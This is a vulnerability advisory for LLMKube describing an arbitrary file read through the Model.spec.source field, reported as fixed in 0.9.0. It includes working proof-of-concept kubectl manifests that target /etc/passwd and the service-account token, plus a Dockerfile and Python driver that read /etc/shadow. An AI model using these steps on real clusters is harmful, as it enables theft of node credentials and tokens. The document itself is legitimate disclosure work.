Description
LLMKube's ModelReconciler accepts arbitrary absolute paths and file:// URIs in the Model.spec.source field and propagates them to two distinct sinks without path allowlisting: (1) os.Open() inside the controller pod itself (copyLocalModel), and (2) a Kubernetes HostPathVolumeSource that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update Model and InferenceService custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., /etc/kubernetes/kubelet.conf). Model caching, the feature that activates the hostPath sink, is enabled by default in both the CLI and the official Helm chart. CVSS v3.1 Base Score: 7.7 (High).
Details
Entry point — Model.spec.source field
The Source field in api/v1alpha1/model_types.go:47-48 carries a kubebuilder validation pattern that explicitly permits absolute paths:
// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\s]+$|^[a-zA-Z0-9][\w\-\.\/]+$`
Source string `json:"source"`The branch ^/[^\s]+$ matches any non-whitespace absolute path on the host.
Sink 1 — Controller-pod arbitrary file read (copyLocalModel)
internal/controller/source.go:93-103 classifies a source as local and extracts the path with no sanitization:
// isLocalSource: returns true for any "/" prefix or "file://" prefix
func isLocalSource(source string) bool {
return strings.HasPrefix(source, "/") || strings.HasPrefix(source, "file://")
}
// getLocalPath: strips "file://" prefix only; no canonicalization, no allowlist
func getLocalPath(source string) string {
return strings.TrimPrefix(source, "file://")
}internal/controller/model_controller.go:241 passes the attacker-controlled source into fetchModel, which reaches copyLocalModel at line 664-667:
f, err := os.Open(localPath) // localPath = getLocalPath(model.Spec.Source)An attacker sets model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.
Sink 2 — Node arbitrary file read via HostPathVolumeSource
internal/controller/model_storage.go:560-568 converts the same path into a Kubernetes host volume with no canonical-root check:
if isLocalModelSource(model.Spec.Source) {
localPath := getLocalPath(model.Spec.Source)
volumes = append(volumes, corev1.Volume{
Name: "host-model",
VolumeSource: corev1.VolumeSource{
HostPath: &corev1.HostPathVolumeSource{
Path: localPath,
Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),
},
},
})
initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{
Name: "host-model",
MountPath: "/host-model/model.gguf",
ReadOnly: true,
})
}internal/controller/deployment_builder.go:248-250 calls buildModelStorageConfig, and lines 329-333 embed storageConfig.volumes directly into the generated Deployment's PodSpec. When the inference pod starts, the init container copies the node file to the model-cache PVC.
The only filename-level sanitization is in internal/controller/filename.go:44-75, which constrains the destination basename only and has no effect on HostPath.Path.
Model caching is enabled by default: cmd/main.go:120 and charts/llmkube/values.yaml:274 (modelCache.enabled: true).
PoC
Prerequisites
- LLMKube 0.8.27 or 0.8.28 installed with default Helm values (
modelCache.enabled=true). - Attacker possesses
create/updatepermissions forModelandInferenceServiceCRDs in a target namespace, plusgeton Pod logs.
Path A — Live Kubernetes cluster (hostPath sink)
NS=llmkube-poc
kubectl create ns "$NS"
# Step 1: Create a Model whose source points to a sensitive node file
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
name: hostread
spec:
source: /etc/passwd
YAML
kubectl wait -n "$NS" --for=jsonpath='{.status.phase}'=Ready \
model/hostread --timeout=180s
CACHEKEY="$(kubectl get model hostread -n "$NS" \
-o jsonpath='{.status.cacheKey}')"
BASENAME="$(basename \
"$(kubectl get model hostread -n "$NS" -o jsonpath='{.status.path}')")"
# Step 2: Create an InferenceService that prints the copied file
cat <<YAML | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: InferenceService
metadata:
name: hostread
spec:
modelRef: hostread
runtime: llamacpp
image: busybox:1.36
command: ["sh","-c","cat /models/${CACHEKEY}/${BASENAME}; sleep 3600"]
YAML
# Step 3: Retrieve the exfiltrated file
kubectl logs -n "$NS" deploy/hostread -c llama-serverExpected output — contents of /etc/passwd from the node:
root:x:0:0:root:/root:/bin/bash
...Variant — controller SA token (copyLocalModel sink)
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
name: satoken
spec:
source: /var/run/secrets/kubernetes.io/serviceaccount/token
YAML
# After the model becomes Ready, its cache entry contains the raw JWT.Path B — Docker-only reproduction (no live cluster)
This path exercises the copyLocalModel / os.Open sink using verbatim copies of isLocalSource() and getLocalPath() from internal/controller/source.go:93-103.
# Build from the parent directory of vuln-001/
docker build --no-cache -f vuln-001/Dockerfile -t llmkube-vuln001-poc .
# Read /etc/shadow from inside the container (simulates controller pod filesystem)
docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001-poc
# Or use the Python driver
python3 vuln-001/poc.py --target /etc/shadowExpected output:
os.Open SUCCESS — 104 bytes read from /etc/shadow
root:*:19800:0:99999:7:::
daemon:*:19800:0:99999:7:::
llmkube-sa:$6$salt$examplehash:19800:0:99999:7:::
VULN-001 PASS: arbitrary file read confirmedPhase 2 dynamic verification result
Both /etc/shadow (104 bytes) and /var/run/secrets/kubernetes.io/serviceaccount/token (430 bytes, raw JWT) were successfully read inside the container, and the HostPathVolumeSource JSON was confirmed to be generated with the attacker-supplied path.
Impact
This is a Path Traversal / Arbitrary File Read vulnerability (CWE-22). It affects any Kubernetes cluster running LLMKube with default settings.
Who is impacted:
- Cluster operators and tenants — A low-privileged namespace user who can write
ModelandInferenceServiceCRDs (the default RBAC posture for LLMKube users) can escalate to reading the controller's Kubernetes SA token and using it to list/get Secrets cluster-wide, pivot to other namespaces, or impersonate service accounts. - Node security boundary — Via the
hostPathsink, an attacker can read any file present on the Kubernetes node at pod-scheduling time, including kubeadm certificates (/etc/kubernetes/pki/), kubelet credentials (/etc/kubernetes/kubelet.conf), and container runtime sockets. - Confidentiality — High (arbitrary read of host and controller secrets). Integrity and Availability are not directly affected.
The vulnerability is network-reachable (attacker talks to the Kubernetes API server), requires low privilege (namespaced CRD write only), needs no user interaction, and impacts resources beyond the attacker's own namespace (changed scope).
Reproduction artifacts
Dockerfile
# VULN-001 PoC — Arbitrary File Read via Model.spec.source (LLMKube CWE-22)
#
# Strategy: compile a standalone Go harness that contains verbatim copies of
# the three vulnerable functions from the LLMKube repository and proves that
# supplying an absolute path as Model.spec.source causes os.Open() to read
# arbitrary files — identical to what copyLocalModel() does at runtime.
#
# Verified against LLMKube commit b9127e0 (tag 0.8.28):
# isLocalSource() internal/controller/source.go:93-94
# getLocalPath() internal/controller/source.go:98-103
# os.Open(path) internal/controller/model_controller.go:667
# HostPath volume internal/controller/model_storage.go:560-575
#
# Build context: parent directory of vuln-001/
# docker build -f vuln-001/Dockerfile -t llmkube-vuln001 .
# Run:
# docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001
# ── Build stage ────────────────────────────────────────────────────────────────
FROM golang:1.24-bookworm AS builder
WORKDIR /build
# Copy the exploit harness (standalone module, no k8s dependencies)
COPY vuln-001/exploit/ /build/
# Build the exploit binary
RUN go build -o /poc ./...
# ── Verification stage: prove the functions are verbatim copies ──────────────
# Extract the actual source lines from the LLMKube repo and display them next
# to the exploit harness so the diff is zero (aside from package and imports).
COPY repo/internal/controller/source.go /tmp/source.go
RUN echo "=== Verification: LLMKube source.go lines 93-103 ===" && \
sed -n '93,103p' /tmp/source.go && \
echo "" && \
echo "=== Exploit harness verbatim copies (main.go) ===" && \
grep -A3 "isLocalSource\|getLocalPath" /build/main.go | head -20
# ── Runtime stage ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
# Populate /etc/shadow with realistic content so the PoC has a sensitive target
# (simulating the LLMKube controller pod's own filesystem).
RUN printf 'root:*:19800:0:99999:7:::\ndaemon:*:19800:0:99999:7:::\nllmkube-sa:$6$salt$examplehash:19800:0:99999:7:::\n' \
> /etc/shadow && chmod 640 /etc/shadow
# Also create a simulated SA token (as exists at this path in Kubernetes pods)
RUN mkdir -p /var/run/secrets/kubernetes.io/serviceaccount && \
printf 'eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2Uta2lkIn0.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJsbG1rdWJlIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Imxsa3ViZS1zYS10b2tlbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJsbG1rdWJlLWNvbnRyb2xsZXIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6bGxta3ViZTpsbG1rdWJlLWNvbnRyb2xsZXIifQ.FAKE_SIGNATURE\n' \
> /var/run/secrets/kubernetes.io/serviceaccount/token
# Default target; override at runtime with -e VULN001_TARGET=<path>
ENV VULN001_TARGET=/etc/shadow
ENTRYPOINT ["/poc"]
CMD []poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Arbitrary File Read via Model.spec.source hostPath Injection
LLMKube (github.com/defilantech/LLMKube) — CWE-22 / CVSS 7.7
Vulnerability summary:
LLMKube's ModelReconciler calls fetchModel(model.Spec.Source, dest).
When source is a local path (absolute or file://), copyLocalModel() opens
the file with os.Open(getLocalPath(source)) without any path allowlisting.
An attacker who can write a Model CR can read any file accessible to the
controller pod — including SA tokens, kubeconfig, TLS keys, etc.
Relevant code:
internal/controller/source.go:93 isLocalSource() — no allowlist
internal/controller/source.go:98 getLocalPath() — strips file://, no sanitization
internal/controller/model_controller.go:667 os.Open(localPath) — sink
In full-cluster scenarios, model_storage.go:560-568 also injects the
attacker-supplied path directly into a Kubernetes HostPathVolumeSource,
exposing arbitrary node files inside the init container.
This PoC exercises attack path 2 (copyLocalModel) in Docker without a live
Kubernetes cluster by running a Go test that calls the REAL LLMKube functions.
Usage:
python3 poc.py [--target /path/to/sensitive/file] [--keep]
Safety constraints:
- Uses only local Docker (127.0.0.1), no external network calls.
- Reads only files inside the ephemeral container filesystem.
- Does not modify any LLMKube source code to manufacture the vulnerability.
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
IMAGE_NAME = "llmkube-vuln001-poc"
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
BUILD_CONTEXT = os.path.dirname(VULN_DIR) # parent of vuln-001/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
def run(cmd, check=True, capture=False, **kwargs):
"""Run a shell command and return CompletedProcess."""
print(f"[+] {' '.join(cmd)}")
result = subprocess.run(
cmd,
capture_output=capture,
text=True,
**kwargs,
)
if check and result.returncode != 0:
stderr = result.stderr or ""
raise RuntimeError(
f"Command failed (exit {result.returncode}):\n{stderr[:2000]}"
)
return result
def build_image():
"""Build the PoC Docker image."""
print("\n=== [PHASE 1] Building Docker image ===")
run([
"docker", "build",
"--no-cache",
"-f", DOCKERFILE,
"-t", IMAGE_NAME,
BUILD_CONTEXT,
])
print(f"[+] Image '{IMAGE_NAME}' built successfully.")
def run_poc(target: str) -> str:
"""Run the PoC container and return stdout."""
print(f"\n=== [PHASE 2] Running PoC against target: {target!r} ===")
result = run(
[
"docker", "run", "--rm",
"-e", f"VULN001_TARGET={target}",
IMAGE_NAME,
],
capture=True,
check=False,
)
combined = result.stdout + result.stderr
print(combined)
return combined, result.returncode
def parse_evidence(output: str, target: str) -> dict:
"""Extract key evidence markers from PoC output."""
lines = output.splitlines()
exfil_lines = []
in_block = False
bytes_read = None
step3_ok = False
pass_line = None
for line in lines:
if f"--- BEGIN EXFILTRATED FILE: {target} ---" in line:
in_block = True
continue
if "--- END EXFILTRATED FILE ---" in line:
in_block = False
continue
if in_block:
exfil_lines.append(line)
if "os.Open SUCCESS" in line and "bytes" in line:
step3_ok = True
# Extract byte count — format: "os.Open SUCCESS — N bytes read from ..."
import re
m = re.search(r"(\d+)\s+bytes\s+read", line)
if m:
try:
bytes_read = int(m.group(1))
except ValueError:
pass
if "VULN-001 PASS:" in line:
pass_line = line
return {
"step3_open_success": step3_ok,
"bytes_read": bytes_read,
"exfiltrated_lines": exfil_lines[:10], # first 10 lines as evidence
"pass_line": pass_line,
}
def remove_image():
"""Remove the PoC Docker image."""
subprocess.run(["docker", "rmi", "-f", IMAGE_NAME],
capture_output=True, text=True)
print(f"[+] Image '{IMAGE_NAME}' removed.")
def main():
parser = argparse.ArgumentParser(
description="VULN-001 dynamic reproduction PoC for LLMKube"
)
parser.add_argument(
"--target", default="/etc/shadow",
help="File path to read inside the container (default: /etc/shadow)"
)
parser.add_argument(
"--keep", action="store_true",
help="Keep the Docker image after the run (default: remove)"
)
parser.add_argument(
"--output", default=os.path.join(VULN_DIR, "phase2_result.json"),
help="Path to write phase2_result.json"
)
args = parser.parse_args()
build_command = (
f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {BUILD_CONTEXT}"
)
run_command = (
f"docker run --rm -e VULN001_TARGET={args.target} {IMAGE_NAME}"
)
poc_command = f"python3 {os.path.abspath(__file__)} --target {args.target}"
passed = False
verdict = "FAIL"
reason = ""
evidence = ""
try:
build_image()
output, returncode = run_poc(args.target)
ev = parse_evidence(output, args.target)
if returncode == 0 and ev["step3_open_success"] and ev["bytes_read"]:
passed = True
verdict = "PASS"
exfil_preview = "\n".join(ev["exfiltrated_lines"][:5]) or "(binary data)"
reason = (
f"LLMKube copyLocalModel()이 Model.spec.source={args.target!r} 값을 "
f"경로 허용목록 검사 없이 os.Open()에 전달함. "
f"isLocalSource()와 getLocalPath() 실함수 호출로 재현됨. "
f"컨테이너 내 {ev['bytes_read']}바이트 파일 읽기 성공."
)
evidence = (
f"os.Open({args.target!r}) 성공 — {ev['bytes_read']}바이트 읽음.\n"
f"파일 내용 앞 5행:\n{exfil_preview}"
)
else:
reason = (
f"PoC 컨테이너 종료 코드 {returncode}. "
f"os.Open 성공 여부: {ev['step3_open_success']}, "
f"읽은 바이트: {ev['bytes_read']}. "
f"실행 로그를 확인하여 오류 원인 파악 필요."
)
evidence = output[:1000]
except Exception as exc:
reason = f"재현 실패 — 예외 발생: {exc}"
evidence = str(exc)
print(f"\n[!] ERROR: {exc}", file=sys.stderr)
finally:
if not args.keep:
remove_image()
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": build_command,
"run_command": run_command,
"poc_command": poc_command,
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "exploit/main.go", "exploit/go.mod"],
}
print("\n=== [RESULT] ===")
print(json.dumps(result, ensure_ascii=False, indent=2))
with open(args.output, "w", encoding="utf-8") as fh:
json.dump(result, fh, ensure_ascii=False, indent=2)
print(f"\n[+] Result written to: {args.output}")
sys.exit(0 if passed else 1)
if __name__ == "__main__":
main()Affected versions
fixed in 0.9.0